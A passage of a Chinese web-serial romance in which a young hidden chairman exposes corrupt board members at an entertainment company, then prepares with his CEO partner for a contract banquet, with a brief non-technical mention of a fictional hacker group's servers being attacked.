是的,你们没看错。 我没疯,也没开玩笑。 尽管周景深自己之前心里也还是翻江倒海,但从办公室走来的一路,他已经消化良好。 于是周景深表面上维持着镇定,看似正经极了。 实则内心却在呐喊:别看我啊,我也需要时间接受这个现实! 在这片寂静之下,时清徵先开口了。 “各位,初次见面,我姓时。” 时清徵说话时是轻笑着的,看起来很无害,但就是给人一种无形的压迫感。 明明生的一张好面孔,带着年轻人特有的干净清雅,可众人心中却生出些退意来。 “光影娱乐能走到今天,离不开在座诸位的辛勤付出。” 他语调平和,丝毫不吝啬赞扬,一副好上司的模样。 在座的高管们拿捏不准时清徵的心思,有几个有眼力见的已经开始捧场了。 “时董说的哪里话,这都是我们应该做的。” “对啊,没想到时董这么年轻,真是年轻有为啊,我们光影娱乐就是需要像时董这样的新鲜血液。” 众人你一言我一语,看时清徵有些好说话,也不由放下心来。 时清徵笑着听了一会,继续道。 “尤其是最近一段时间,为了梦国IP的项目,诸位都劳心费力,辛苦得很。” 众人又开始新一轮的彩虹屁了。 “应该的。” “这都是我们应该做的。” “不辛苦,能为公司服务是我们的荣幸。” 但也有几个敏锐的人察觉到时清徵已经开始准备说正题了。 果不其然,下一秒就听见时清徵说。 “不过辛苦归辛苦,公司该有的规矩还是得守的。” “尤其是.....陈董。” 被点到名的陈园心头一紧,抬眼望着坐在主位上的那人。 “时,时董说笑了,公司的规矩我自然是遵守的。” 时清徵饶有兴味地看着陈董辩解:“哦,是吗?看起来陈董倒是为我们公司呕心沥血呢。” 陈董忍不住摸了一下手腕上的表,挤出个笑来:“是,是啊。” “听说陈董对梦国IP项目很不服气啊,怎么,想跟我对着干?” 时清徵说这话的时候,语气冷了下来。 陈董脸上一变,心底暗道,果不其然,时董就是为了这件事才亲自跑一趟的。 但他早就有所准备了。 于是很淡然地开口:“时董说的哪里话,我怎么会跟您对着干呢?” “是吗,那你一而再,再而三地推三阻四,妨碍工作进程是什么意思?” 陈园心中早把这套说辞演练了千百遍,此刻被逼到这种地步,反而流畅地脱口而出。 “时董,这个IP项目关系重大,投入惊人,我身为董事,审慎评估和严格把关难道不是职责所在?万一出了纰漏,这责任谁能担得起?” 他先占据道德高地,强调自己的责任心。 紧接着,矛头一转: “更何况,时董您长期不露面,公司上下连个明确的话事人都没有。我难道能眼睁睁看着周总一个人......独断专行吗?” 他刻意在“独断专行”上加重了语气,既抹黑了周景深,又把时清徵的缺席推到了台前。 “还是说,时董您压根就不信任我们这些跟着光影一路打拼过来的老人?我们可是把光影当成自己家的,难道会自己坑害自己不成?” 他脸上适时地露出被误解的痛心和一片赤诚为公司的表情。 这一套组合拳打得相当巧妙,避重就轻,偷换概念。 效果是明显的。 会议室里的气氛确实出现了一丝松动。 不少人看向时清徵的目光里,除了畏惧,也多了些质疑和不满。 陈园的话,确实戳中了一些人心中隐秘的念头。 这位大董事,是不是真的对光影不够上心? 面对陈董这一番义正言辞的表演 时清徵只是点头。 “说完了吗?” 陈董:“.......就,就这些了。” 他有些拿不准时清徵的意思,就像此刻时清徵并未动怒一样。 一副好商量的样子,让人不由觉得他此番前来是不是真的没有别的目的。 时清徵讥笑道:“陈董这番话说的可真是精彩,光影娱乐能走到今天可全靠您这位元老呢。” 这番反话让陈董觉得自己的面子被丢到了地上,有些羞恼。 “时董,您为何这般为难我?” “为难?” 时清徵反问他,身体微微前倾,手肘支在桌面上,十指交叉,姿态随意,却散发着压迫感:“应该是陈董为难我才对。” “我.......” 陈园还想再辩解什么,却被时清徵伸手打断。 时清徵看着陈董,问道:“陈董的鞠躬尽瘁就是指收了程氏娱乐的贿赂后和他们同流合污,搅黄我们的IP项目?” “还是指私下抛售股份?” “亦或者是......挪用几百万的公款去填补你那天价的债务呢?” 众人闻言纷纷倒吸一口凉气。 这...... 不可置信的看着陈董。 陈董听到时清徵的话如遭雷劈,他没有想到这个从未露面的时董居然会掌握他这么多消息。 不过他还是咬着牙死不承认。 “时董这么说,有何证据?” 在说这话的时候,他的脸已经全白了下来。 在座的高管看到他这副神情就知道时清徵说的八九不离十。 这陈董莫非真做出那种勾当来? 这些高管中有不少人都经手天国IP的分部项目,他们手中的文件也被压回来不少。 本以为陈董真是因为负责任,结果没想到居然是因为这个原因吗? 陈董收了贿赂?还挪用公款? 第129章 我来的不巧了 “证据?”时清徵眸色彻底冷了下来,唇边那点残余的弧度也消失了。 “别急,自然少不了你的。” 他话音刚落,会议室内最前方的电子屏幕亮起。 时清徵将提前准备好的U盘插进电脑里,读取资料后信息被推送到了大屏上。 “都看看。”他声音不高,却让人不容忽视。 一旁的高管很有眼力劲的上去操作屏幕,一张张滑动文件。 看清文件内资料的众人都沉默了下来,整个会议室陷入了寂静。 屏幕上清晰地罗列着陈园个人账户的多笔大额异常转账记录。 陈园近期分批抛售光影娱乐股份的交易流水。 最致命的,是那笔挪用公司几百万公款的铁证。 死寂只维持了短短几秒。 紧接着,一股压抑不住的愤怒迅速在会议室里弥漫开来。 刚才还被陈园“赤胆忠心”表演迷惑的董事和高管们,此刻看向他的眼神充满了震惊和怒火。 谁能想到,这个口口声声“为公司好”的元老,背地里竟干出如此吃里扒外,监守自盗的龌龊勾当。 时清徵的目光锁在陈园身上,此时对方唇角哆嗦着,已经说不出话了。 看着陈园那副失魂落魄的样子,时清徵慢悠悠地开口,语调微微上扬,带着嘲讽: “呵,看来陈董是真把光影娱乐当成你家了?想拿就拿,想卖就卖,想怎么胡作非为就怎么胡作非为?” 陈园像是被抽走了所有的力气,彻底瘫软在宽大的座椅里,脸色灰败如土。 嘴唇虽然翕动着,却连一点声音都发不出来。 他之前所有的侥幸心理在这如山铁证面前都化作了泡影。 他从未想过自己隐藏的这么好的秘密会当众被扒开。 如果时清徵愿意,完全可以走法律程序。 光是陈园向竞争对手透露商业机密这一点就够他喝一壶的了。 更何况还有私自挪用公款。 愤怒之后的诸位高管看向时清徵的眼神都充满了敬佩和理解。 难怪时董先前一直不出面,原来是在暗地里搜查证据。 这些证据想必要查很久吧,一定费了不少功夫。 时董还是很关心公司的。 诸位高管一阵心理活动,把自己给安慰好了,还顺便给时清徵找好了理由。 时清徵这波纯属是无心插柳柳成荫了。 就在气氛格外紧张之际,王董从外面走了进来,一脸的愧疚。 “不好意思各位,我来迟了。” 诸位高管:......不,你来的巧了。 原本装模作样的王董在对上主位那个年轻人时笑容都僵住了。 这是大董事? 这么年轻? 他愣了半秒,眼睛咕噜噜的转,似乎在打什么歪主意。 下一秒他就饱含歉意的对时清徵道:“您就是大董事吧,不好意思,我路上堵车,来迟了。” “待会会议结束,我请您喝酒赔罪?” 众人:........ 时清徵也没说话。 没人搭他的腔,气氛显得有些尴尬。 王董有些莫名其妙,求助般看着陈董。 就见到陈董一脸灰败之色,像是受了重挫一样,神情恍惚。 王董无奈只能尴尬的笑笑,往自己的位置上走去。 谁料自己的位置上根本没有椅子。 回头一看,椅子被拉到了一旁,上面还放着一个电脑包。 哪几个不长眼的? 众人纷纷移开视线,不是他们的,是周总放的。 周景深一脸坦然的坐在原位,根本没有把电脑包拿走的意思。 毕竟是时董让他这么做的。 王董站在原地,尬笑两声,没话说,又只能重复一遍。 “我来的不巧了。” 时清徵:“不,你来的正是时候。” 刚才见过时清徵收拾陈董手段的众人:....... 啊对对对,收拾完那个正好收拾你,无缝衔接可不就巧了吗。 接下来又是相同的操作,不过王董是没有板凳的,全程站在那里。 被训得跟个孙子似的。 收拾完陈园和王董这两个蛀虫,时清徵显然没兴趣在他们身上浪费时间。 “好了,无关紧要的人处理完了。” 他的声音恢复了之前的清冽平静。 “现在,说正事。” 时清徵言简意赅,条理清晰地阐述了对梦国IP项目的核心要求,资源倾斜方向等。 没有多余的废话,所说的问题全都落在关键点上。 可即便是他言简意赅,关于这项目的问题还是讨论了一个多小时。 毕竟光影娱乐也是第一次接手这么大的国际IP,又是跟天和集团合作,自然要更加谨慎。 如果这个合作能做好,光影娱乐自然也能更上一个台阶。 最后,时清徵的目光落在下首的周景深身上: “项目具体执行,由周总全权负责。在座的各位,全力配合。” 经历了刚才的风暴,此刻再无人敢对此有异议。 众人纷纷点头应是。 时清徵停顿了片刻,眼中的冰冷褪去,唇角甚至勾起了一个极浅淡弧度,让人不由得心一松。 他语气放缓了些许:“最近公司事务繁杂,大家辛苦了。” 就在众人以为这只是句客套的场面话时,时清徵的下一句话直接让众人兴奋起来。 “这个季度的奖金,翻一倍。” 原本死气沉沉的众人眼睛瞬间都亮了起来。 钱!现在已经没有什么能触动他们的心了。 除了真金白银。 时董威武。 有人在心里默默说了句。 “散会。” 时清徵没再看众人的反应,率先站起身。 周景深也紧跟其后离开了会议室。 两人离开后,会议室内响起了压抑不住的欢喜。 “窝草,奖金翻倍?!”一个年轻主管因为兴奋而爆了句粗口。 甚至有人已经开始拿出手机,开始计算这个月有多少钱了。 越算越开心,眼睛都亮了,这日子瞬间有盼头了。 一个平常比较严肃的中年总监也忍不住道:“时董还真是雷厉风行,赏罚分明。” “财神爷啊,扶朕起来,朕还能干。” 对于打工人而言,没有什么比金钱更让他们动心了。 其他的都是浮云,工资才是硬道理。 第130章 难怪你俩一对儿呢。 另一边,时清徵走出去后对周景深说:“陈园和王明那边直接走法律程序,不用顾及。” “该追回来的钱一分都不许少,该送进去的人一个都别漏掉。” 周景深:“好的时董。” 应下后,周景深并没有着急离开,而是嘴角嗫嚅着,像是有什么话想说,可却欲言又止。 “怎么了,还有事?” 时清徵看出了他的纠结,眉梢挑了一下。 “时董,你以后有空的话还会常来公司吗?” 经过刚才那些事,周景深算是见识到了时清徵的雷霆手段。 他总觉得有这么一个定海神针放在公司他才能安心。 时清徵:“......其实吧,我挺忙的。” 说这话的时候他的眼神有些微妙,带着点不自然。 周景深:“好的,我理解。” 他一点都没看出不对劲来,只当是这种级别的大佬日理万机。 “我不会常来,但有事我会管,所以你可以联系我。” 时清徵离开后,看了下时间。 一个会开了将近两小时,现在这个时间...... 他给顾鸣鹤发了定位。 【你洗了蒜了:来接我。】 发完就走进了楼下那家咖啡店。 咖啡店装修很简单,但却透露出精致感,因为位置不错,所以并不缺客人。 时清徵点了杯咖啡,就坐在窗边的位置。 此时已近黄昏,天色暗的是越来越早了。 时清徵处理完事情,整个人都疲懒了下来,托腮看着窗外折射进来的光晕。 手机响了下,是顾鸣鹤发来的消息。 【顾鸣鹤:乖乖,等我。】 顾鸣鹤收到这条消息后,对司机讲了时清徵的位置。 时清徵所在的位置虽不是核心区,但离天和集团也不远,开车十几分钟就到了。 不过此时下班人很多,倒是晚了一会儿才到。 一辆低调的黑色辉腾停在路边,但还是引起不少人的注意。 车刚停稳,车上就走下来个身材极高,面容英俊的男人。 裁剪利落的西装更显身材,尽显一丝不苟的上位者气质。 那双桃花眼此时却因那人冷冽的气场透出拒人于千里之外来。 哪怕站在那也能成为焦点。 只是也只敢偷偷看几眼,然后快速挪开。 只见那人朝着咖啡店走去,却并没有走正门,而是停在了落地窗外。 顾鸣鹤下车后,第一眼就看见坐在窗旁喝咖啡的人儿。 迈步走过去,在窗边停下,此时两人之间就隔了一道玻璃。 时清徵跟没看到他似的,一眼都不带往这瞧的。 不过顾鸣鹤更相信时小徵是故意的。 他弯腰轻点了点玻璃,弄出了点儿声音。 窗那边的人这才给了他一个眼神,却只是托着下巴朝他笑,并不开口。 两人就那么相望着,似乎并不着急相拥。 最后还是时清徵走了出来。 他懒洋洋地对顾鸣鹤道:“先生,你来的好慢。” 顾鸣鹤带着他往车边走去:“嗯,下次开飞机来接你。” 时清徵知道他是在开玩笑,也顺着他的玩笑往下接:“开飞机啊,先生真嚣张,也不怕有人收拾你。” 顾鸣鹤笑得意味深长:“谁让我家有个难伺候的祖宗呢。” 两人打开车门坐了进去。 “下次提前告诉我,不然跟今天一样晾着你。”顾鸣鹤威胁道。 时清徵:“啊?先生真凶啊。” 车子平稳地行驶在路上,顾鸣鹤问道:“你怎么跑到这边来了?” 时清徵:“哎,有点事。” 顾鸣鹤凑到人耳边,低声故意道:“能让埃特纳斯先生亲自跑一趟,肯定是什么正事吧。” 时清徵对于顾鸣鹤老是调侃他这一点表示不满,瞪了他一眼:“不是正事,就是点小事。” 能用几个小时就处理好的事对于时清徵来说本来就算不上什么大事。 顶多是有些麻烦的小事而已。 顾鸣鹤也没再问,凑到时清徵身边絮絮叨叨地吐苦水。 说自己工作时遇到的一些难缠的合作方,光是方案就换了好几版,最后敲定第一版,相关部门的人都快哭到他的总裁办来了。 还有某个部门新来的实习生抢走做秘书的活,净想着往他身上倒咖啡。 把白天上班时遇到的一系列离谱的事说了出来,颇有种求安慰的意味。 顾鸣鹤肩膀蹭着时清徵肩膀。 “时小徵~” 此时顾鸣鹤哪还有工作时的一本正经,威严什么的已经荡然无存了。 要不是前面还有司机,顾鸣鹤恨不得抱着时清徵撒娇求安慰。 时清徵则是被顾鸣鹤的经历逗笑了,带着点幸灾乐祸。 “先生,那你可真是太惨了。” 顾鸣鹤看着时清徵一副没良心的表情,咬牙切齿:“时小徵,你怎么不心疼我?” 时清徵无辜:“我还以为先生你早就习惯了呢。” 顾鸣鹤更委屈了,他家时小徵没有心。 “开玩笑的。”时清徵摸了下顾鸣鹤的脑袋,凑近他低声哄道。 “下次谁敢欺负你,我就带着麻袋去收拾他,把他打一顿给你出气,怎么样?” “这样还差不多。”顾鸣鹤满意地轻哼,颇有种傲娇得意感。 司机虽然不太想听顾总和时少秀恩爱,但是还是不可避免地听到了时清徵那句“套麻袋”的话。 以及顾鸣鹤无脑的吹捧和赞美。 司机:....... 难怪你俩一对呢。 不过心中还是有些感慨,倒是从来没见过这样的顾总。 有些......活泼? 还有些幼稚,可多了些生气。 但这种话他是不敢说的,在心里想想也就罢了。 后座的两人脑袋又凑到一块咬耳朵了,嘀嘀咕咕像是有分享不完的乐趣。 两个人笑容都显得很轻松。 是一种由内而外的自然和惬意。 不是因为对方的经历和分享有多好笑与新奇,而是因为是你,所以你说的一切我都很在意。 时清徵跟顾鸣鹤上车的时候,坐车刚从地下车库离开的周景深恰好看到了熟悉的背影。 他看着那辆低调的辉腾若有所思。 方才那个穿风衣的男人很明显就是时董,时董身边还跟着一个人。 助理吗?怎么有些眼熟啊。 他摇了摇头,不再多想。 只是感慨一句,有钱人真低调啊。 第131章 我截屏了 先前光影娱乐与天和集团其实早就达成了口头的合作意向,双方的条件基本谈拢了。 然而,光影娱乐内部却因那几个心怀鬼胎的董事阻挠,内部审批流程一拖再拖,卡在关键节点动弹不得。 天和集团项目组那边已经催了好几次,周景深焦头烂额,却也只能以“内部流程尚未走完”为由搪塞,实质进展停滞不前。 这拖延,归根结底是光影内部的“家务事”在作祟。 然而,在时清徵亲自主持了那场董事会后,光影娱乐内部的风向瞬间变了天。 高层们效率高得惊人,那些曾经被故意卡住的流程,此刻畅通无阻。 仅仅两天时间,一份盖着光影娱乐公章和总裁周景深签名的正式合同,就已经摆在了顾鸣鹤的办公桌上。 顾鸣鹤翻过合同的封面,眉峰微挑。 他抬眸看向等候在一旁的李特助: “哦?他们这次动作倒是快得惊人。先前不是还各种理由推三阻四,流程走得比蜗牛爬还慢吗?” 对于光影娱乐的内部消息,他们还是略知一二的。 毕竟圈子说小不小,但也不大,一丁点儿消息都能传得满圈人知道。 李特助微微躬身,说道:“是的顾总。据光影那边对接的负责人透露,是他们内部开了个重要的高层会议。” 顾鸣鹤闻言,唇角勾起一抹极淡且意味深长的弧度来。 他哪怕是猜也能猜到这场会议是谁的手笔。 许是那从未露面的时董。 他签完字后合上合同,放回桌面。 “效率高是好事。通知项目组,可以准备进入下一阶段了。” 李特助继续看着平板上的行程,对,顾鸣鹤道:“过几天光影娱乐在深海大厦举办了签约宴会,周总亲自致电邀请,您看要不要调整行程?” 对于这种商业宴会,除非重要合作方,顾鸣鹤是鲜少露面的。 需要花大量精力和时间在非核心的商业宴会上应酬的事,派一个副总去足矣。 但是梦国IP的开发并非普通的项目,它是国际IP,涉及影视,游戏,衍生品等全球开发权,商业价值巨大。 对于双方而言,能合力做好这个IP的商业化运作,带来的利润是很可观的。 更何况光影娱乐前段时间深陷舆论风波,此时正需要一个高调的宴会来向外界宣告合作依旧顺利。 天和集团作为合作方,自然要展现出对合作伙伴的信任。 李特助看顾鸣鹤在思考,以为他为难,就建议道: “如果时间真的安排不开,王总也可以代表您出席,他在文娱板块上向来有经验。” “不用了,回复周总,我会准时出席。” 顾鸣鹤刚才并不是在犹豫,而是在想那天又得很晚才能回去陪他的时小徵了。 嘤~ 李特助:“好的,我现在就回复周总。” 说完就离开了。 这种合作,当然是由顾总亲自出面才是最好的。 作为IP项目在天和集团的决策者和拍板人,顾鸣鹤出席显然更有利于后续双方合作。 而且这一个宴会的规格并不低,许多国际发行商乃至文娱界名流都会到场。 所以这个合作的头必须要开得漂亮。 ———— 周景深那边也收到了天和集团这边的消息,知道顾鸣鹤会亲自来。 这倒是比他预想中的还要顺利。 他想了下,还是给时清徵发了信息。 举办晚宴的原因之一就是为了结交圈内相关大佬,为合作拓展资源,搭建人脉网。 而顾鸣鹤许久未在这种商业晚宴上露面了,此番必定能引起媒体关注。 而且顾鸣鹤背后代表着天和集团乃至顾家,要是能结识必定有好处。 所以他还是把顾鸣鹤要来参加晚宴的消息发给了时董。 虽然时董十有八九不会来,但毕竟有知情权,万一他也想结识顾鸣鹤呢? 而此时的另一边,时清徵正忙着回复千千呢。 【千千:老大,我被欺负了。哭唧唧.jpg】 【万岁:?】 【千千:有M国官方组织攻击了我们的服务器,简直是目中无神,丧心病狂,一胎八宝。】 【万岁:不会用A文就好好说Y语。】 对于千千的A文,时清徵表示出十分的嫌弃。 并不是因为烂,而是因为他乱用。 因为不是母语,所以没有羞耻症,什么都敢说。 【千千:总之,老大,你得替我们找回场子啊。】 WWZ联盟作为国际上最知名也最为神秘的黑客组织,常年都会受到外来的信息攻击,这已经成为家常便饭。 不过WWZ也不是吃干饭的,怎么可能真被他们攻破服务器。 所以千千如今还有心情在这里哭诉就说明事情还没严重到那种地步。 不然凭借他的架势,他是早就一个电话传来了,而不是在这里发文字哭惨。 【万岁:我吗?你也太瞧得起我了。微笑.jpg】 那可是M国官方,他脑子秀逗了才会去招惹他们。 不然他的悬赏金怕是又得往上提几个档次。 【千千:哎呀,那时候我信任你,老大~】 【万岁:别,你的意思是你,还有你们一群人都没有干过他们?】 好歹是一群顶级黑客,虽然打不过,但也不至于被揍的多难看吧? 【千千:要不是我那时候在看演唱会没注意信息,不然还能让他们跑了不成。愤怒.jpg】 【千千:我们的人顺着信息追过去,但又怕惹怒对面,所以也就停手了。】 【千千:好歹是我的祖国呀,能不能不要如此欺负我一个宝宝?】 时清徵看到这一串反而是有些沉默了。 先前每一次来攻击WWZ的人都是出于目的。 要么是为了证道,要么是从他们这里中获取资料。 而M国官方,他们的目的是什么? 【万岁:我们的人没攻击过M国官方的服务器吧?】 【千千:哪能啊?你又不是不知道,我们都是一群死技术宅,怎么可能做出如此不知天高地厚的事。】 【千千:而且他们乱咬人也不是一天两天了,习惯就好。】 虽然这么说,但时清徵心中还是有些不好的预感。 【万岁:如果再发生相同的事情,立刻联系我。】 【千千:你说的哈,我截屏了。】 第132章 系了个结 应付完千千那边,时清徵才有空去看了周景深那边给他发的消息。 【周景深:时董,四天后的宴会天和集团的顾总也会来。】 【你洗了蒜了:好。】 看着时董发来的这一个字,周景深二和尚摸不着头脑。 好是什么意思,是来还是不来? 但他也没有再多问,万一时董有自己的工作节奏呢。 实则不然。 某人纯懒。 顾鸣鹤回来后,整个人无力陷入了沙发里,脑袋枕在时清徵的腿上。 说话时语气带着明晃晃的委屈:“过几天要参加光影娱乐的签约宴会,原本我定了新开的一家餐馆的。” 结果正好撞上了,工作又推不掉,只能把约会往后排了。 顾鸣鹤那是抓心挠肝地难受啊。 时清徵此时正在看平板,闻言伸手摸了一下顾鸣鹤的脑袋。 心中感叹一句:真好摸,软软的。 顾鸣鹤见时清徵没反应,立刻坐起了身,一脸控诉:“时小徵,你怎么也不安慰一下我?” 时清徵眼睛没有从平板上挪开,只是应声道:“哦,我知道。” 顾鸣鹤眯眼,凑近时清徵,咬牙切齿:“你又知道上了。” 时清徵伸手抵住凑过来的人的额头,阻止了这个人想继续凑过来的动作。 然后才放下平板,重复道:“光影娱乐的签约宴会是吧?” 顾鸣鹤轻哼:“算你认真听了。” 时清徵电台,然后认真考虑了几秒:“我跟你一块去。” “嗯,嗯?” 闻言,顾鸣鹤眼睛都睁大了些:“去.....跟我一块去?时小徵,你再说一遍?” 时清徵耐心重复了一遍:“我说,我陪你一块儿去。” 这句话刚出,某人的笑容就压不住了,嘴角抑制不住的上扬。 “这可是你说的,要说话算话啊。” 时清徵抵住顾鸣鹤额头的手顺着他的眉眼往下滑,然后轻轻揉了揉他的脸颊。 “我骗你做什么?” 顾鸣鹤想了想,很认真道:“不行,我得录音,时小徵,你再说一遍。” 时清徵才不想跟他闹。 “再说一遍,嗯?”顾鸣鹤引诱道。 “顾先生,顾大总裁,够了哈,你又不是小孩了。” 顾鸣鹤那双眸子里此时温柔泛滥,带着些隐秘的期盼。 时清徵从来没有与他一起出席过这种大型的公众活动。 早先的几次也不过是顾鸣鹤几个发小组的私人聚会,最开始还总闹得不欢而散。 后来两人确认了关系,顾鸣鹤痴迷于两人关系中时,心里却总扎着一根刺,有些患得患失。 尤其是在知道时清徵身份后更是有一种不真实感。 即使时清徵很爱他,即使他们心意相通,顾鸣鹤对这段感情依旧有些惶恐。 可能是爱一个人总会让人觉得愧疚。 愧疚自己做得太少,总觉得亏欠对方。 他当然想昭告天下,想让所有人都知道时清徵是他的。 可时清徵不开口,他便不敢擅自做决定,生怕弄巧成拙。 而这一次,时清徵主动提出要陪他赴宴。 顾鸣鹤忍不住想,这是不是意味着,他终于愿意公开他们的关系? 他们的相处亲密而稳固,只是顾鸣鹤时不时会想以后。 他想跟时清徵一直走下去。 但事实却是他与时清徵相爱,但总是少那么些连结。 就像是这一切本不属于你,只是因为你所拥有的一切都是意外获得,而对方可以时刻抽身而去。 时清徵所提出的这个要求,对于顾鸣鹤而言当然不是参加一个宴会这么简单。 这代表时清徵愿意加入他的公共领域,也愿意让他们的关系暴露于人前。 这是一种更深层次的接纳。 时清徵见顾鸣鹤没由来地傻笑,自然也明白顾鸣鹤心中所想。 顾鸣鹤的那点儿心思他一清二楚。 但是两个人能走到今天自然不是单靠一个人的独角戏。 “别笑了,笑得一脸不值钱样。” 时清徵见顾鸣鹤都要傻乐出声了,忍不住捂住他的嘴。 心想自己平日里也没有很忽视他吧? 顾鸣鹤顺势吻了下时清徵的掌心,刺激地时清徵手心一阵酥麻。 “我高兴。” 顾鸣鹤本以为自己和时清徵的爱已经足够多了,但是一个人的心很大,总想要更多。 而时清徵一直会用一些惊喜填满他。 让他意识到这份爱很长,很远。 时清徵嘴上嫌弃顾鸣鹤如今是越来越呆了,但还是忍不住陪他闹。 爱情不是会让人智商变低,而是在这段关系中他们从不设防。 晚宴那天,顾鸣鹤早早地就开始拾掇自己了。 他指着两套西装,一脸纠结地问时清徵哪件好看。 时清徵瞧了好一会儿,也没选出个所以然来,最后只能随便一指。 “左边的吧。” 顾鸣鹤像是没有听到他说话,还在那里自言自语:“右边这套也行啊。” “和你那件比较搭。” “时小徵,你觉得我袖扣选哪一个比较好?” “时小徵,领带这个颜色怎么样?” “时小徵........” 时清徵:........ 他以前怎么没发现顾鸣鹤还有选择困难症呢。 最后面对顾鸣鹤递过来的两个领带,他一脸嫌弃:“这两个有什么区别?随便选一条得了。” “不行啊,好歹不能给你丢人吧。” 顾鸣鹤简直是盛装打扮,恨不得香水都喷个百八十种。 这个人都快发光了。 闪闪的。 不知道的还以为天和集团的顾总转行去当模特了。 顾鸣鹤好一番打扮,最终还是难在领结上。 看他那副纠结的样子,时清徵叹了口气,伸手拿过被顾鸣鹤舍弃在一旁的雾面灰粉色领带。 然后走上前给顾鸣鹤系好。 顾鸣鹤平日里倒是很少尝试过这种颜色,所以第一时间就把它给舍弃了。 但此时还是老实站着,等时清徵把领结系好。 目光灼灼地盯着眼前人微微垂下的眉眼。 时清徵最后整理好顾鸣鹤的领带:“好了,你看看。” 顾鸣鹤望向镜子,那个结就完美地束在那。 他勾起唇角,笑着抱了抱时清徵:“我家宝贝儿眼光真好。” 时清徵点头,一脸认同:“也就比你好上那么一二三四点吧。” 时清徵为顾鸣鹤系了个完美的结。 第133章 我们不要说话 宴会在深海大厦的顶楼举办。 来者不仅有相关领域的大佬,也有光影娱乐的一些艺人还有知名导演。 据说光影娱乐有将梦国IP拍成一部大电影的打算。 先前两部都是动漫,如果能出电影,不管品质怎么样,肯定会有一波大流量。 所以很多人此次前来也都是探探对方的口风,或者是从中获取一些利益。 顾鸣鹤和时清徵的车在靠近深海大厦的那一路段堵了一会儿。 车子行驶得很缓慢,但是坐在车内的两个人却丝毫不着急。 时清徵看了一眼时间。 嗯,还有十五分钟。 恰好此时周景深的消息传来。 大概就是汇报一下这次宴会的进程以及已经到场的宾客。 然后明里暗里就是套问时清徵今夜有没有可能会来。 时清徵刚想回他,却被顾鸣鹤打断了。 顾鸣鹤原先靠着时清徵边上,絮絮叨叨聊着,结果时清徵忽然拿起手机,也不理他了。 他倒要看看是哪个不解风情的。 顾鸣鹤一脸吃味:“是谁啊?” 时清徵眼皮都没有抬:“周景深。” 他准备打字过去,让周景深等会看到自己装作没看见。 顾鸣鹤:........ “?” 他的表情凝固了一下,先前被他有意忽视的细节在此刻逐渐变得明显。 光影娱乐是FK旗下的子公司。 光影娱乐的那个从FK总部来的姓时的董事。 时小徵前几天让自己去光影娱乐总部那边接他。 顾鸣鹤:“........” 他的表情先是复杂,然后变得委屈。 “时小徵.......” “嗯。” 时清徵还在低头打字,头都没抬地“嗯”了一声。 “我不跟你好了。” “干嘛?”时清徵这才抬头,信息栏的信息才编了一半。 “呵,绝交五分钟,无情的男人。” 顾鸣鹤一脸“冷酷”地扭过头,好像真生气了。 时清徵只好暂时放下手机,戳了顾鸣鹤一下:“先生?” 顾鸣鹤不动。 时清徵又扯了他一下:“顾鸣鹤?” 依旧是不动如山,脸朝着另一边,看都不看时清徵一眼。 无奈,时清徵眨了下眼,伸手直接把人的脸掰了回来。 “我可不信你没怀疑过。” 顾鸣鹤从鼻腔里发出一声轻哼,依旧不说话。 他的确猜过,毕竟太多巧合放在一起就不是巧合了。 但是猜测毕竟是猜测,跟事实还是不太一样的。 更何况。 “时小徵,你这次来是不是就是为了工作?” 顾鸣鹤磨了磨后槽牙,感觉一口牙都要磨平了。 时清徵:“什么工作?” 顾鸣鹤:“亏我还觉得你是要给我一个名分,结果我就是顺带的。” “呵,渣男。” “果然得到了就不知道珍惜。” “你以前不是这样的。” 时清徵:“你别乱说,我告你诽谤。” 顾鸣鹤更不岔了:“被我说中了吧,恼羞成怒了?男人的嘴,骗人的鬼。” “我真没有。”时清徵辩驳道。 趁时清徵解释的功夫,顾鸣鹤又脸扭到另一边去了。 时清徵再一次掰了回来。 “我不爱工作的,你知道的呀。”时清徵理直气壮道。 顾鸣鹤:“.......” 仔细一想,好像还真是这个理。 “那你也.......”顾鸣鹤一时半会儿也想不出什么合适的理由,被“不爱工作”那一句话噎了一下。 气势上莫名弱了一点,可是嘴上依旧不饶人。 “那你也是别有用心,你就是把我排后面了,现在我的优先级都比不过那个周景深了是吧?” 顾鸣鹤无理取闹起来还是很有一手的。 他下巴微抬,带着一种“你快来哄我”的眼神斜睨着时清徵。 时清徵打断施法:“先生,你讲讲道理,是谁把谁往后排?” “你不是为了这个晚宴耽误了跟我的约会?” 顾鸣鹤:“........” 我草,逻辑闭环了。 这波纯属是搬起石头砸自己的脚。 挖坑把自己埋了,土还填上了。 见人一副没理的模样,时清徵心情很好的扬了扬唇:“更何况.......” 他贴到顾鸣鹤的耳边,轻吹了口气。 轻暖的气息喷洒在顾鸣鹤耳尖,让人感觉痒痒的。 “我这次来可就是为了陪你啊,先生不是说约会吗?” 声音压低,带着些刻意的暧昧。 顾鸣鹤哪里吃得消这一套,掩饰般轻咳一声:“勉强信你一次。” 表情带着点儿骄矜。 时清徵:“不跟我绝交了?” “你不说我都忘了,你现在别跟我说话,让你瞒着我这么多事。” 时清徵眼神无辜地眨了眨,语气轻快:“我没瞒着啊,是先生没问。” “我问你就告诉我吗?”顾鸣鹤凝视着他。 “当然,”时清徵笑得眉眼弯弯,摆出一副有问必答的乖巧模样,“先生问吧。” 顾鸣鹤深深看了他一眼,却摇头:“不问。” 时清徵微微一怔,没想到会得到这个答案。 “我等你主动告诉我。”顾鸣鹤的声音很轻,但时清徵却能听的很清楚。 时清徵先是怔愣了一下,随即才反应过来顾鸣鹤说了什么。 他眼底掠过一丝复杂的光,虽然心中刚刚想的的确是这个回答,但真正听到时的触动还是不一样。 “那先生等着吧,我可给过你机会了。” 顾鸣鹤扫了他一眼:“时小徵,你还偷偷瞒了我多少事?” 时清徵歪了歪头:“不多不多,就......一点点吧。” 顾鸣鹤抬手看了眼腕表:“六分钟。” 这是心里赌气呢? 时清徵弯了弯唇,没说话,只是支着脑袋看着顾鸣鹤的侧脸。 顾鸣鹤并非不想知道,只要他开口问,时清徵定会坦诚相告。 但他选择不问,因为这是他对时清徵的尊重。 他尊重时清徵保留秘密的权利,尊重他独立的人格和选择。 他的时小徵是有能力有担当的个体,不需要他的时刻庇护。 时清徵愿意给出这个询问的机会,本身就是一种信任与爱意。 这是超越身份的交付。 而顾鸣鹤的不问,同样源于爱与尊重。 他不愿让那些外在的身份标签成为横亘在两人之间的隔阂,也不愿将宝贵的感情消耗在无谓的试探与猜疑上。 爱应该是给予对方自由生长的空间。 顾鸣鹤注意到时清徵灼热的目光,没忍住侧头跟他对视了。 时清徵眼底的情绪让顾鸣鹤心尖一颤,虽然什么都没做,可就是有一种莫名的满足感。 他张口想要说什么,却被时清徵堵住了。 